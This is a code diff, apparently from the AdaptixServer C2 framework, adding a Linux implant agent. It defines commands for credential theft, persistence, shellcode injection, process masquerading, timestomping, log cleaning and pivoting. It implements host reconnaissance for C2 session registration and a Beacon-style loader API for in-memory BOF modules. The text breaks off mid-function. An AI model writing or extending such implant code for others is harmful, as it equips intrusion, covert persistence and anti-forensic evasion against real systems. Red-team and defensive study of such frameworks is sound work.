+} + +// Linux-specific command params +type ParamsCreds struct { + Type string `msgpack:"type"` +} + +type ParamsPersist struct { + Action string `msgpack:"action"` + Cmd string `msgpack:"cmd"` + Schedule string `msgpack:"schedule"` + Name string `msgpack:"name"` + Path string `msgpack:"path"` + Type string `msgpack:"type"` +} + +type ParamsContainer struct { + Action string `msgpack:"action"` +} + +// OPSEC command params +type ParamsMasquerade struct { + Name string `msgpack:"name"` +} + +type ParamsTimestomp struct { + Path string `msgpack:"path"` + Timestamp uint64 `msgpack:"timestamp"` +} + +type ParamsInject struct { + Pid int `msgpack:"pid"` + Shellcode []byte `msgpack:"shellcode"` +} + +// Pivot command params/responses +type ParamsLink struct { + Address string `msgpack:"address"` + Port int `msgpack:"port"` +} + +type AnsLink struct { + Type int `msgpack:"type"` + Watermark uint32 `msgpack:"watermark"` + Beat []byte `msgpack:"beat"` + Error string `msgpack:"error"` +} + +type ParamsUnlink struct { + PivotId uint32 `msgpack:"pivot_id"` +} + +type AnsUnlink struct { + PivotId uint32 `msgpack:"pivot_id"` + Type int `msgpack:"type"` +} + +type ParamsPivotExec struct { + PivotId uint32 `msgpack:"pivot_id"` + Data []byte `msgpack:"data"` +} + +type AnsPivotExec struct { + PivotId uint32 `msgpack:"pivot_id"` + Data []byte `msgpack:"data"` +} + +// BOF command params/responses +type ParamsBof struct { + Content []byte `msgpack:"content"` + Args []byte `msgpack:"args"` + EntryFunc string `msgpack:"entry_func"` +} + +type AnsBofOutput struct { + Type int `msgpack:"type"` + Output string `msgpack:"output"` +} + +/// Command codes — must match agent-side defines in types.h + +const ( + COMMAND_ERROR = 0 + COMMAND_PWD = 1 + COMMAND_CD = 2 + COMMAND_SHELL = 3 + COMMAND_EXIT = 4 + COMMAND_DOWNLOAD = 5 + COMMAND_UPLOAD = 6 + COMMAND_CAT = 7 + COMMAND_CP = 8 + COMMAND_MV = 9 + COMMAND_MKDIR = 10 + COMMAND_RM = 11 + COMMAND_LS = 12 + COMMAND_PS = 13 + COMMAND_KILL = 14 + COMMAND_ZIP = 15 + COMMAND_RUN = 17 + COMMAND_JOB_LIST = 18 + COMMAND_JOB_KILL = 19 + + // Linux-specific commands (slots 20-30) + COMMAND_GETUID = 20 + COMMAND_ENV = 21 + COMMAND_NETSTAT = 22 + COMMAND_MOUNTS = 23 + COMMAND_EDR = 24 + COMMAND_CREDS = 25 + COMMAND_PERSIST = 26 + COMMAND_CONTAINER = 27 + + // OPSEC commands + COMMAND_MASQUERADE = 28 + COMMAND_TIMESTOMP = 29 + COMMAND_CLEANLOG = 30 + COMMAND_INJECT = 37 + COMMAND_MIGRATE = 38 + + // Pivot commands + COMMAND_PIVOT_EXEC = 39 + COMMAND_LINK = 40 + COMMAND_UNLINK = 41 + + COMMAND_TUNNEL_START = 31 + COMMAND_TUNNEL_STOP = 32 + COMMAND_TUNNEL_PAUSE = 33 + COMMAND_TUNNEL_RESUME = 34 + + COMMAND_TERMINAL_START = 35 + COMMAND_TERMINAL_STOP = 36 + + // Tunnel MUX commands (data flows in main channel, not separate connection) + COMMAND_TUNNEL_WRITE = 42 + COMMAND_TUNNEL_STATUS = 43 + COMMAND_TUNNEL_DATA = 44 + COMMAND_TUNNEL_CLOSE = 45 + + // BOF commands + COMMAND_EXEC_BOF = 50 + COMMAND_EXEC_BOF_OUT = 51 + COMMAND_EXEC_BOF_ASYNC = 52 + + CALLBACK_OUTPUT = 0x0 + CALLBACK_OUTPUT_OEM = 0x1e + CALLBACK_OUTPUT_UTF8 = 0x20 + CALLBACK_ERROR = 0x0d + + // BOF error codes + BOF_ERROR_PARSE = 0x101 + BOF_ERROR_SYMBOL = 0x102 + BOF_ERROR_ENTRY = 0x104 + BOF_ERROR_ALLOC = 0x105 + BOF_ERROR_RELOC = 0x106 +) + +/// Utility functions + +func parseDurationToSeconds(input string) (int, error) { + re := regexp.MustCompile(`(\d+)(h|m|s)`) + matches := re.FindAllStringSubmatch(input, -1) + + if matches == nil { + input = input + "s" + matches = re.FindAllStringSubmatch(input, -1) + } + + totalSeconds := 0 + for _, match := range matches { + value, err := strconv.Atoi(match[1]) + if err != nil { + return 0, err + } + + switch match[2] { + case "h": + totalSeconds += value * 3600 + case "m": + totalSeconds += value * 60 + case "s": + totalSeconds += value + } + } + + return totalSeconds, nil +} + +func ZipBytes(data []byte, name string) ([]byte, error) { + var buf bytes.Buffer + zipWriter := zip.NewWriter(&buf) + + writer, err := zipWriter.Create(name) + if err != nil { + return nil, err + } + + _, err = writer.Write(data) + if err != nil { + return nil, err + } + + err = zipWriter.Close() + if err != nil { + return nil, err + } + + return buf.Bytes(), nil +} + +func UnzipBytes(zipData []byte) (map[string][]byte, error) { + result := make(map[string][]byte) + reader := bytes.NewReader(zipData) + + zipReader, err := zip.NewReader(reader, int64(len(zipData))) + if err != nil { + return nil, err + } + + for _, file := range zipReader.File { + rc, err := file.Open() + if err != nil { + return nil, err + } + + var buf bytes.Buffer + _, err = io.Copy(&buf, rc) + rc.Close() + if err != nil { + return nil, err + } + + result[file.Name] = buf.Bytes() + } + + return result, nil +} + +func SizeBytesToFormat(bytes int64) string { + const ( + KB = 1024.0 + MB = KB * 1024 + GB = MB * 1024 + ) + + size := float64(bytes) + + if size >= GB { + return fmt.Sprintf("%.2f Gb", size/GB) + } else if size >= MB { + return fmt.Sprintf("%.2f Mb", size/MB) + } + return fmt.Sprintf("%.2f Kb", size/KB) +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/agent_info.c b/AdaptixServer/extenders/linux_agent/src_agent/agent/agent_info.c new file mode 100644 index 000000000..96c2c2a63 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/agent_info.c @@ -0,0 +1,237 @@ +#include "agent_info.h" +#include "crt.h" +#include "types.h" + +#ifdef ARCH_X86_64 +#include "syscalls_x64.h" +#endif +#ifdef ARCH_AARCH64 +#include "syscalls_aarch64.h" +#endif + +// Read a file into buf via direct syscalls, null-terminate +static int read_file(const char* path, char* buf, int buf_size) { + int fd = sys_open(path, 0 /* O_RDONLY */, 0); + if (fd < 0) return -1; + long n = sys_read(fd, buf, buf_size - 1); + sys_close(fd); + if (n <= 0) return -1; + buf[n] = '\0'; + // Strip trailing newline + if (n > 0 && buf[n-1] == '\n') buf[n-1] = '\0'; + return 0; +} + +int agent_info_hostname(char* buf, int len) { + if (read_file("/proc/sys/kernel/hostname", buf, len) == 0) + return 0; + ax_strncpy(buf, "unknown", len - 1); + return 0; +} + +int agent_info_username(char* buf, int len) { + // Read /etc/passwd, find line matching our UID + int uid = sys_getuid(); + + char passwd[4096]; + int fd = sys_open("/etc/passwd", 0, 0); + if (fd < 0) { + ax_strncpy(buf, "unknown", len - 1); + return 0; + } + + long n = sys_read(fd, passwd, sizeof(passwd) - 1); + sys_close(fd); + if (n <= 0) { + ax_strncpy(buf, "unknown", len - 1); + return 0; + } + passwd[n] = '\0'; + + // Parse each line: username:x:uid:gid:... + char* line = passwd; + while (*line) { + char* username_start = line; + char* colon1 = (char*)0; + char* colon2 = (char*)0; + char* colon3 = (char*)0; + char* p = line; + int colons = 0; + + while (*p && *p != '\n') { + if (*p == ':') { + colons++; + if (colons == 1) colon1 = p; + else if (colons == 2) colon2 = p; + else if (colons == 3) colon3 = p; + } + p++; + } + + if (colon2 && colon3) { + // Parse UID between colon2+1 and colon3 + int parsed_uid = 0; + char* u = colon2 + 1; + while (u < colon3 && *u >= '0' && *u <= '9') { + parsed_uid = parsed_uid * 10 + (*u - '0'); + u++; + } + + if (parsed_uid == uid && colon1) { + int ulen = (int)(colon1 - username_start); + if (ulen >= len) ulen = len - 1; + ax_memcpy(buf, username_start, ulen); + buf[ulen] = '\0'; + return 0; + } + } + + // Advance to next line + if (*p == '\n') p++; + line = p; + } + + ax_strncpy(buf, "unknown", len - 1); + return 0; +} + +int agent_info_ipaddr(char* buf, int len) { + // Read /proc/net/fib_trie or parse /proc/net/if_inet6 is complex + // Simpler: read from /proc/net/tcp or use ioctl — but for Phase 1, + // just read /proc/net/route to find default gateway interface, then + // read that interface's addr. Simplest: read /proc/self/net/fib_trie. + // + // For now, parse first non-loopback from /proc/net/fib_trie + // Format of interesting lines: " |-- X.X.X.X" followed by "/32 host LOCAL" + buf[0] = '\0'; + + char fib[8192]; + int fd = sys_open("/proc/net/fib_trie", 0, 0); + if (fd < 0) return 0; + + long total = 0; + long n; + while (total < (long)sizeof(fib) - 1) { + n = sys_read(fd, fib + total, sizeof(fib) - 1 - total); + if (n <= 0) break; + total += n; + } + sys_close(fd); + if (total <= 0) return 0; + fib[total] = '\0'; + + // Find LOCAL addresses that aren't 127.x.x.x + char* p = fib; + while (*p) { + // Look for "|-- " pattern + if (p[0] == '|' && p[1] == '-' && p[2] == '-' && p[3] == ' ') { + char* ip_start = p + 4; + // Read until newline + char* ip_end = ip_start; + while (*ip_end && *ip_end != '\n') ip_end++; + + int ip_len = (int)(ip_end - ip_start); + // Check if this is followed by a LOCAL line + char* next = ip_end; + if (*next == '\n') next++; + // Look for "LOCAL" in the next few lines + int found_local = 0; + for (int lines = 0; lines < 3 && *next; lines++) { + if (ax_strstr(next, "LOCAL")) { + found_local = 1; + break; + } + while (*next && *next != '\n') next++; + if (*next == '\n') next++; + } + + if (found_local && ip_len > 0 && ip_len < len) { + // Skip 127.x.x.x + if (!(ip_start[0] == '1' && ip_start[1] == '2' && ip_start[2] == '7' && ip_start[3] == '.')) { + ax_memcpy(buf, ip_start, ip_len); + buf[ip_len] = '\0'; + return 0; + } + } + } + p++; + } + + return 0; +} + +int agent_info_osversion(char* buf, int len) { + // Try /etc/os-release first + char osrel[2048]; + if (read_file("/etc/os-release", osrel, sizeof(osrel)) == 0) { + // Look for PRETTY_NAME="..." + char* key = ax_strstr(osrel, "PRETTY_NAME="); + if (key) { + key += 12; // skip "PRETTY_NAME=" + if (*key == '"') key++; + char* end = key; + while (*end && *end != '"' && *end != '\n') end++; + int vlen = (int)(end - key); + if (vlen >= len) vlen = len - 1; + ax_memcpy(buf, key, vlen); + buf[vlen] = '\0'; + return 0; + } + } + + // Fallback: /proc/version + if (read_file("/proc/version", buf, len) == 0) + return 0; + + ax_strncpy(buf, "Linux", len - 1); + return 0; +} + +// Get process name from /proc/self/comm +static void get_process_name(char* buf, int len) { + if (read_file("/proc/self/comm", buf, len) == 0) + return; + ax_strncpy(buf, "unknown", len - 1); +} + +int create_session_info(mp_writer_t* w, uint8_t* session_key) { + // Generate random session key (16 bytes for AES-128) + if (ax_random_bytes(session_key, 16) != 0) return -1; + + char hostname[256] = {0}; + agent_info_hostname(hostname, sizeof(hostname)); + + char username[256] = {0}; + agent_info_username(username, sizeof(username)); + + char process[256] = {0}; + get_process_name(process, sizeof(process)); + + char ip[64] = {0}; + agent_info_ipaddr(ip, sizeof(ip)); + + char os_version[256] = {0}; + agent_info_osversion(os_version, sizeof(os_version)); + + int pid = sys_getpid(); + int elevated = (sys_geteuid() == 0) ? 1 : 0; + + // Write SessionInfo as msgpack map + // vmihailenco/msgpack v5 serializes in DECLARATION order + // Go struct: process, pid, user, host, ipaddr, elevated, acp, oem, os, os_version, encrypt_key + mp_write_map(w, 11); + + mp_write_kv_str(w, "process", process); + mp_write_kv_int(w, "pid", pid); + mp_write_kv_str(w, "user", username); + mp_write_kv_str(w, "host", hostname); + mp_write_kv_str(w, "ipaddr", ip); + mp_write_kv_bool(w, "elevated", elevated); + mp_write_kv_uint(w, "acp", 65001); // UTF-8 code page + mp_write_kv_uint(w, "oem", 65001); + mp_write_kv_str(w, "os", "linux"); + mp_write_kv_str(w, "os_version", os_version); + mp_write_kv_bin(w, "encrypt_key", session_key, 16); + + return 0; +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/agent_info.h b/AdaptixServer/extenders/linux_agent/src_agent/agent/agent_info.h new file mode 100644 index 000000000..ab771719f --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/agent_info.h @@ -0,0 +1,25 @@ +#ifndef AGENT_INFO_H +#define AGENT_INFO_H + +#include "msgpack.h" +#include + +/// System info collection for session registration. +/// Individual getters fill a caller-provided buffer, return 0 on success. +/// create_session_info() builds the full SessionInfo msgpack payload. + +int agent_info_hostname(char *buf, int len); +int agent_info_username(char *buf, int len); +int agent_info_ipaddr(char *buf, int len); +int agent_info_osversion(char *buf, int len); + +/// Build SessionInfo msgpack payload matching Go's utils.SessionInfo struct. +/// Also generates a random 16-byte session encryption key. +/// +/// msgpack keys (declaration order, matching Go vmihailenco/msgpack): +/// acp, elevated, encrypt_key, host, ipaddr, oem, os, os_version, pid, process, user +/// +/// Returns 0 on success, fills session_key (16 bytes). +int create_session_info(mp_writer_t *w, uint8_t *session_key); + +#endif /* AGENT_INFO_H */ diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/ax_vsnprintf.c b/AdaptixServer/extenders/linux_agent/src_agent/agent/ax_vsnprintf.c new file mode 100644 index 000000000..7ab16215b --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/ax_vsnprintf.c @@ -0,0 +1,262 @@ +/// ax_vsnprintf.c — Minimal vsnprintf for nostdlib environment +/// Supports: %s %d %i %u %x %X %p %c %% %ld %lu %lx %lX +/// Supports: width, zero-padding, left-align (-) +/// No float support (not needed for BOFs) + +#include "crt.h" +#include + +/// Write a single character to buffer (with bounds check) +static inline int out_char(char *buf, size_t pos, size_t size, char c) { + if (pos < size - 1) + buf[pos] = c; + return 1; +} + +/// Write a string to buffer +static int out_str(char *buf, size_t pos, size_t size, const char *s, int width, int left_align) { + int written = 0; + int slen = 0; + const char *p = s; + + if (!s) s = "(null)"; + p = s; + while (*p) { slen++; p++; } + + int pad = (width > slen) ? width - slen : 0; + + if (!left_align) { + for (int i = 0; i < pad; i++) + written += out_char(buf, pos + written, size, ' '); + } + for (int i = 0; i < slen; i++) + written += out_char(buf, pos + written, size, s[i]); + if (left_align) { + for (int i = 0; i < pad; i++) + written += out_char(buf, pos + written, size, ' '); + } + return written; +} + +/// Write an unsigned integer (base 10 or 16) +static int out_uint(char *buf, size_t pos, size_t size, + unsigned long long val, int base, int upper, + int width, char pad_char, int left_align) { + char tmp[24]; // enough for 64-bit + int idx = 0; + int written = 0; + + if (val == 0) { + tmp[idx++] = '0'; + } else { + while (val > 0) { + int d = val % base; + if (d < 10) + tmp[idx++] = '0' + d; + else + tmp[idx++] = (upper ? 'A' : 'a') + d - 10; + val /= base; + } + } + + int numlen = idx; + int pad = (width > numlen) ? width - numlen : 0; + + if (!left_align) { + for (int i = 0; i < pad; i++) + written += out_char(buf, pos + written, size, pad_char); + } + // digits in reverse + for (int i = idx - 1; i >= 0; i--) + written += out_char(buf, pos + written, size, tmp[i]); + if (left_align) { + for (int i = 0; i < pad; i++) + written += out_char(buf, pos + written, size, ' '); + } + return written; +} + +/// Write a signed integer +static int out_int(char *buf, size_t pos, size_t size, + long long val, int width, char pad_char, int left_align) { + int written = 0; + int negative = 0; + + if (val < 0) { + negative = 1; + val = -val; + if (pad_char == '0' && !left_align) { + written += out_char(buf, pos + written, size, '-'); + width--; // sign takes one slot + } + } + + if (negative && pad_char != '0') { + // Count digits to determine padding + char tmp[24]; + int idx = 0; + long long v = val; + if (v == 0) { tmp[idx++] = '0'; } + else { while (v > 0) { tmp[idx++] = '0' + (v % 10); v /= 10; } } + int numlen = idx + 1; // +1 for sign + int pad = (width > numlen) ? width - numlen : 0; + + if (!left_align) { + for (int i = 0; i < pad; i++) + written += out_char(buf, pos + written, size, ' '); + } + written += out_char(buf, pos + written, size, '-'); + for (int i = idx - 1; i >= 0; i--) + written += out_char(buf, pos + written, size, tmp[i]); + if (left_align) { + for (int i = 0; i < pad; i++) + written += out_char(buf, pos + written, size, ' '); + } + return written; + } + + if (negative && pad_char == '0') { + // sign already written above + written += out_uint(buf, pos + written, size, (unsigned long long)val, 10, 0, width, pad_char, left_align); + } else { + written += out_uint(buf, pos + written, size, (unsigned long long)val, 10, 0, width, pad_char, left_align); + } + return written; +} + +int ax_vsnprintf(char *buf, size_t size, const char *fmt, va_list ap) { + size_t pos = 0; + + if (!buf || size == 0) + return 0; + + while (*fmt) { + if (*fmt != '%') { + pos += out_char(buf, pos, size, *fmt); + fmt++; + continue; + } + + fmt++; // skip '%' + + // Parse flags + int left_align = 0; + char pad_char = ' '; + + while (*fmt == '-' || *fmt == '0') { + if (*fmt == '-') left_align = 1; + if (*fmt == '0' && !left_align) pad_char = '0'; + fmt++; + } + + // Parse width + int width = 0; + while (*fmt >= '0' && *fmt <= '9') { + width = width * 10 + (*fmt - '0'); + fmt++; + } + + // Parse length modifier + int is_long = 0; + if (*fmt == 'l') { + is_long = 1; + fmt++; + if (*fmt == 'l') { + is_long = 2; + fmt++; + } + } + + // Parse conversion + switch (*fmt) { + case 'd': + case 'i': { + long long val; + if (is_long >= 2) + val = va_arg(ap, long long); + else if (is_long == 1) + val = va_arg(ap, long); + else + val = va_arg(ap, int); + pos += out_int(buf, pos, size, val, width, pad_char, left_align); + break; + } + case 'u': { + unsigned long long val; + if (is_long >= 2) + val = va_arg(ap, unsigned long long); + else if (is_long == 1) + val = va_arg(ap, unsigned long); + else + val = va_arg(ap, unsigned int); + pos += out_uint(buf, pos, size, val, 10, 0, width, pad_char, left_align); + break; + } + case 'x': { + unsigned long long val; + if (is_long >= 2) + val = va_arg(ap, unsigned long long); + else if (is_long == 1) + val = va_arg(ap, unsigned long); + else + val = va_arg(ap, unsigned int); + pos += out_uint(buf, pos, size, val, 16, 0, width, pad_char, left_align); + break; + } + case 'X': { + unsigned long long val; + if (is_long >= 2) + val = va_arg(ap, unsigned long long); + else if (is_long == 1) + val = va_arg(ap, unsigned long); + else + val = va_arg(ap, unsigned int); + pos += out_uint(buf, pos, size, val, 16, 1, width, pad_char, left_align); + break; + } + case 'p': { + unsigned long long val = (unsigned long long)(uintptr_t)va_arg(ap, void *); + pos += out_char(buf, pos, size, '0'); + pos += out_char(buf, pos, size, 'x'); + pos += out_uint(buf, pos, size, val, 16, 0, 0, '0', 0); + break; + } + case 's': { + const char *s = va_arg(ap, const char *); + pos += out_str(buf, pos, size, s, width, left_align); + break; + } + case 'c': { + char c = (char)va_arg(ap, int); + pos += out_char(buf, pos, size, c); + break; + } + case '%': + pos += out_char(buf, pos, size, '%'); + break; + default: + // Unknown format — output as-is + pos += out_char(buf, pos, size, '%'); + pos += out_char(buf, pos, size, *fmt); + break; + } + + fmt++; + } + + // Null-terminate + if (pos < size) + buf[pos] = '\0'; + else if (size > 0) + buf[size - 1] = '\0'; + + return (int)pos; +} + +int ax_snprintf(char *buf, size_t size, const char *fmt, ...) { + va_list ap; + va_start(ap, fmt); + int ret = ax_vsnprintf(buf, size, fmt, ap); + va_end(ap); + return ret; +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/bof_api.c b/AdaptixServer/extenders/linux_agent/src_agent/agent/bof_api.c new file mode 100644 index 000000000..c9719c61b --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/bof_api.c @@ -0,0 +1,611 @@ +/// bof_api.c — Linux Beacon API implementation for BOF execution +/// Port of beacon_functions.cpp (Windows) to Linux C with nostdlib + +#include "bof_api.h" +#include "crt.h" +#include "types.h" +#include "msgpack.h" + +#ifdef ARCH_X86_64 +#include "syscalls_x64.h" +#endif +#ifdef ARCH_AARCH64 +#include "syscalls_aarch64.h" +#endif + +/// ──────────────────────────────────────────────────────────────────────────── +/// Global state — set by elf_bof.c before calling BOF entry point +/// ──────────────────────────────────────────────────────────────────────────── + +/// Output accumulator buffer +static buffer_t bof_output_buf; +static int bof_output_initialized = 0; +static int bof_output_error_type = 0; // 0 = no error, >0 = error code + +void bof_output_init(void) { + if (!bof_output_initialized) { + buf_init(&bof_output_buf, 4096); + bof_output_initialized = 1; + } else { + buf_reset(&bof_output_buf); + } + bof_output_error_type = 0; +} + +void bof_output_cleanup(void) { + if (bof_output_initialized) { + buf_free(&bof_output_buf); + bof_output_initialized = 0; + } +} + +/// Get accumulated output (null-terminated) +const char *bof_output_get(int *out_len) { + if (!bof_output_initialized || bof_output_buf.len == 0) { + if (out_len) *out_len = 0; + return ""; + } + // Ensure null termination + char zero = '\0'; + buf_append(&bof_output_buf, &zero, 1); + bof_output_buf.len--; // don't count the null in length + if (out_len) *out_len = bof_output_buf.len; + return (const char *)bof_output_buf.data; +} + +int bof_output_get_error(void) { + return bof_output_error_type; +} + +/// ──────────────────────────────────────────────────────────────────────────── +/// Endianness swap (for BeaconFormatInt — big-endian encoding) +/// ──────────────────────────────────────────────────────────────────────────── + +static unsigned int swap_endianness(unsigned int indata) { + unsigned int testint = 0xaabbccdd; + unsigned int outint = indata; + if (((unsigned char *)&testint)[0] == 0xdd) { + ((unsigned char *)&outint)[0] = ((unsigned char *)&indata)[3]; + ((unsigned char *)&outint)[1] = ((unsigned char *)&indata)[2]; + ((unsigned char *)&outint)[2] = ((unsigned char *)&indata)[1]; + ((unsigned char *)&outint)[3] = ((unsigned char *)&indata)[0]; + } + return outint; +} + +/// ──────────────────────────────────────────────────────────────────────────── +/// Data Parser API (CS-compatible) +/// ──────────────────────────────────────────────────────────────────────────── + +void BeaconDataParse(datap *parser, char *buffer, int size) { + if (!parser || !buffer) + return; + parser->original = buffer; + parser->buffer = buffer + 4; + parser->length = size - 4; + parser->size = size - 4; +} + +int BeaconDataInt(datap *parser) { + if (!parser || parser->length < 4) + return 0; + int val = 0; + ax_memcpy(&val, parser->buffer, 4); + parser->buffer += 4; + parser->length -= 4; + return val; +} + +short BeaconDataShort(datap *parser) { + if (!parser || parser->length < 2) + return 0; + short val = 0; + ax_memcpy(&val, parser->buffer, 2); + parser->buffer += 2; + parser->length -= 2; + return val; +} + +int BeaconDataLength(datap *parser) { + if (!parser) + return 0; + return parser->length; +} + +char *BeaconDataExtract(datap *parser, int *size) { + if (!parser || parser->length < 4) + return (char *)0; + + unsigned int length = 0; + ax_memcpy(&length, parser->buffer, 4); + parser->length -= 4; + parser->buffer += 4; + + char *outdata = parser->buffer; + + parser->length -= length; + parser->buffer += length; + + if (size) + *size = length; + return outdata; +} + +/// ──────────────────────────────────────────────────────────────────────────── +/// Output API +/// ──────────────────────────────────────────────────────────────────────────── + +void BeaconOutput(int type, const char *data, int len) { + if (!data || !bof_output_initialized) + return; + + if (type == CALLBACK_ERROR) { + bof_output_error_type = CALLBACK_ERROR; + } + + if (len > 0) { + buf_append(&bof_output_buf, data, len); + } else { + // If len == 0, treat data as null-terminated string + int slen = (int)ax_strlen(data); + buf_append(&bof_output_buf, data, slen); + } +} + +void BeaconPrintf(int type, const char *fmt, ...) { + if (!fmt || !bof_output_initialized) + return; + + if (type == CALLBACK_ERROR) { + bof_output_error_type = CALLBACK_ERROR; + } + + // First pass: compute needed length + va_list args; + va_start(args, fmt); + int needed = ax_vsnprintf((char *)0, 0, fmt, args); + va_end(args); + + if (needed <= 0) + return; + + // Allocate temporary buffer + char *tmp = (char *)ax_malloc(needed + 1); + if (!tmp) + return; + + va_start(args, fmt); + ax_vsnprintf(tmp, needed + 1, fmt, args); + va_end(args); + + buf_append(&bof_output_buf, tmp, needed); + ax_free(tmp); +} + +/// ──────────────────────────────────────────────────────────────────────────── +/// Format API +/// ──────────────────────────────────────────────────────────────────────────── + +void BeaconFormatAlloc(formatp *format, int maxsz) { + if (!format) + return; + format->original = (char *)ax_malloc(maxsz); + format->buffer = format->original; + format->length = 0; + format->size = maxsz; +} + +void BeaconFormatReset(formatp *format) { + if (!format || !format->original) + return; + ax_memset(format->original, 0, format->size); + format->buffer = format->original; + format->length = 0; +} + +void BeaconFormatAppend(formatp *format, const char *text, int len) { + if (!format || !text) + return; + if (format->length + len > format->size) + return; + ax_memcpy(format->buffer, text, len); + format->buffer += len; + format->length += len; +} + +void BeaconFormatPrintf(formatp *format, const char *fmt, ...) { + if (!format || !fmt) + return; + + va_list args; + va_start(args, fmt); + int remaining = format->size - format->length; + if (remaining <= 0) { + va_end(args); + return; + } + int written = ax_vsnprintf(format->buffer, remaining, fmt, args); + va_end(args); + + if (written > 0) { + format->length += written; + format->buffer += written; + } +} + +char *BeaconFormatToString(formatp *format, int *size) { + if (!format) + return (char *)0; + if (size) + *size = format->length; + return format->original; +} + +void BeaconFormatFree(formatp *format) { + if (!format) + return; + if (format->original) { + ax_memset(format->original, 0, format->size); + ax_free(format->original); + } + format->original = (char *)0; + format->buffer = (char *)0; + format->length = 0; + format->size = 0; +} + +void BeaconFormatInt(formatp *format, int value) { + if (!format) + return; + if (format->length + 4 > format->size) + return; + unsigned int outdata = swap_endianness((unsigned int)value); + ax_memcpy(format->buffer, &outdata, 4); + format->length += 4; + format->buffer += 4; +} + +/// ──────────────────────────────────────────────────────────────────────────── +/// Utility APIs +/// ──────────────────────────────────────────────────────────────────────────── + +int BeaconIsAdmin(void) { + return (sys_geteuid() == 0) ? 1 : 0; +} + +/// ──────────────────────────────────────────────────────────────────────────── +/// Async BOF context — set by elf_bof.c before calling BOF entry in async thread +/// ──────────────────────────────────────────────────────────────────────────── + +/// Opaque pointer to async_bof_arg_t (from elf_bof.c) +/// Set to non-NULL only during async BOF execution, checked by BOF APIs. +/// Thread safety: only one async BOF calls elf_bof_execute at a time per thread, +/// and the main thread's sync BOFs run serially, so no race on this pointer. +static volatile void *g_async_bof_ctx = (void *)0; +static volatile int g_async_bof_stop_fd = -1; // read-end of stop_pipe + +void bof_set_async_ctx(void *ctx, int stop_fd) { + g_async_bof_ctx = ctx; + g_async_bof_stop_fd = stop_fd; +} + +void bof_clear_async_ctx(void) { + g_async_bof_ctx = (void *)0; + g_async_bof_stop_fd = -1; +} + +int bof_is_async(void) { + return g_async_bof_ctx != (void *)0; +} + +void BeaconWakeup(void) { + // No-op on Linux: async BOF has its own C2 connection, + // output is sent directly without needing to wake the main thread. +} + +int BeaconGetStopJobEvent(void) { + // Returns the read-end fd of the stop pipe. + // BOF can poll() this fd to check if kill was requested. + // Returns -1 if not in an async BOF context. + return (int)g_async_bof_stop_fd; +} + +/// ──────────────────────────────────────────────────────────────────────────── +/// Adaptix extensions +/// ──────────────────────────────────────────────────────────────────────────── + +void AxDownloadMemory(char *filename, char *data, int len) { + // For now, encode as text output (full implementation would use TsDownloadSave) + if (!bof_output_initialized) + return; + + char header[256]; + ax_snprintf(header, sizeof(header), "[download] %s (%d bytes)\n", filename ? filename : "unknown", len); + int hlen = (int)ax_strlen(header); + buf_append(&bof_output_buf, header, hlen); + + // TODO: implement proper file download via separate channel when needed +} + +/// ──────────────────────────────────────────────────────────────────────────── +/// Linux system primitives — exposed to BOFs via symbol table +/// ──────────────────────────────────────────────────────────────────────────── + +// File I/O wrappers +int AxOpenFile(const char *path, int flags, int mode) { + if (!path) return -1; + return sys_open(path, flags, mode); +} + +int AxCloseFile(int fd) { + if (fd < 0) return -1; + return sys_close(fd); +} + +int AxReadFile(int fd, void *buf, int count) { + if (fd < 0 || !buf || count <= 0) return -1; + return (int)sys_read(fd, buf, (size_t)count); +} + +// Convenience: read entire file into malloc'd buffer +int AxReadFileToBuffer(const char *path, char **out_buf, int max_size) { + if (!path || !out_buf) return -1; + if (max_size <= 0) max_size = 1048576; // 1 MB default + + int fd = sys_open(path, 0 /* O_RDONLY */, 0); + if (fd < 0) return -1; + + char *buf = (char *)ax_malloc(max_size + 1); + if (!buf) { + sys_close(fd); + return -1; + } + + int total = 0; + while (total < max_size) { + int n = (int)sys_read(fd, buf + total, max_size - total); + if (n <= 0) break; + total += n; + } + sys_close(fd); + + buf[total] = '\0'; + *out_buf = buf; + return total; +} + +// File stat wrapper +int AxFileStat(const char *path, unsigned int *out_mode, long *out_size, + unsigned int *out_uid, unsigned int *out_gid) { + if (!path) return -1; + struct linux_stat st; + int ret = sys_stat(path, &st); + if (ret != 0) return -1; + if (out_mode) *out_mode = st.st_mode; + if (out_size) *out_size = st.st_size; + if (out_uid) *out_uid = st.st_uid; + if (out_gid) *out_gid = st.st_gid; + return 0; +} + +// Directory listing +int AxOpenDir(const char *path) { + if (!path) return -1; + return sys_open(path, 0x10000 /* O_RDONLY | O_DIRECTORY */, 0); +} + +int AxReadDir(int fd, void *buf, int bufsize) { + if (fd < 0 || !buf || bufsize <= 0) return -1; + return sys_getdents64(fd, buf, (unsigned int)bufsize); +} + +// Memory +void *AxMalloc(int size) { + if (size <= 0) return (void *)0; + return ax_malloc((size_t)size); +} + +void AxFree(void *ptr) { + if (ptr) ax_free(ptr); +} + +void *AxMemset(void *s, int c, int n) { + if (!s || n <= 0) return s; + return ax_memset(s, c, (size_t)n); +} + +void *AxMemcpy(void *dst, const void *src, int n) { + if (!dst || !src || n <= 0) return dst; + return ax_memcpy(dst, src, (size_t)n); +} + +// String operations +int AxStrlen(const char *s) { + if (!s) return 0; + return (int)ax_strlen(s); +} + +int AxStrcmp(const char *a, const char *b) { + if (!a || !b) return -1; + return ax_strcmp(a, b); +} + +int AxStrncmp(const char *a, const char *b, int n) { + if (!a || !b || n <= 0) return -1; + return ax_strncmp(a, b, (size_t)n); +} + +char *AxStrcpy(char *dst, const char *src) { + if (!dst || !src) return dst; + return ax_strcpy(dst, src); +} + +char *AxStrncpy(char *dst, const char *src, int n) { + if (!dst || !src || n <= 0) return dst; + return ax_strncpy(dst, src, (size_t)n); +} + +char *AxStrcat(char *dst, const char *src) { + if (!dst || !src) return dst; + return ax_strcat(dst, src); +} + +char *AxStrstr(const char *haystack, const char *needle) { + if (!haystack || !needle) return (char *)0; + return ax_strstr(haystack, needle); +} + +char *AxStrchr(const char *s, int c) { + if (!s) return (char *)0; + return ax_strchr(s, c); +} + +// Formatted output +int AxSnprintf(char *buf, int size, const char *fmt, ...) { + if (!buf || !fmt || size <= 0) return 0; + va_list args; + 